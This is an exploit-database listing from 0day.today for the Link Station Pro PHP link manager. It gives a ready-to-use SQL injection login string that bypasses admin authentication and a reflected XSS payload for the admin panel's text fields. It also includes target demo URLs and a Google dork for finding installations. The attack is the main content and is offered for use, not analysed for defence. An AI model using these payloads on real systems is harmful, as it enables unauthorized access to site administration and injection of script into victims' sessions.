[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Link Station Pro Multiple Vulnerabilities

Author
$#4|)0//
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16579
Category
web applications
Date add
30-07-2011
Platform
php
# Exploit Title: Link Station Pro Multiple Vulnerabilities
# Vendor:  www.linkstationpro.com
# Date: 28th july,2011
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D (
http://www.shadowrootkit.wordpress.com)
# Google Dork:  � 2011 Copyright SteveDawson.com
********************************************************************************
BREIF DESCRIPTION
*****************************
 Link Station Pro is without doubt, the most efficient, easiest and most
configurable reciprocal link management tool available for all your
reciprocal link requirements.
 
**********************************************************************************************************************
 
(Auth ByPass) SQLi Vulnerability
***************************************
{DEMO} : http://www.linkstationpro.com/Partners/admindemo/index.php
 
EXPLOIT:
                 Username: ' or 'bug'='bug' #
                 Password: ' or 'bug'='bug' #
Observe: Attackers can use Authentication Bypass to get into Admin Panel in
the site.
 
Reflected XSS Vulnerability
********************************
EXPLOIT 2:  XSS Vulnerability in admin panel(in most of the text fields)
 
   {Demo}:
http://www.linkstationpro.com/Partners/admindemo/manage_categories.php
    Exploit:  ">><marquee><h1>XSSed_by_r007k17</h1></marquee>
 
********************************************************************************
gr33t1ngs to s1d3 effects and my friends@!3.14--
********************************************************************************



#  0day.today [2024-11-16]  #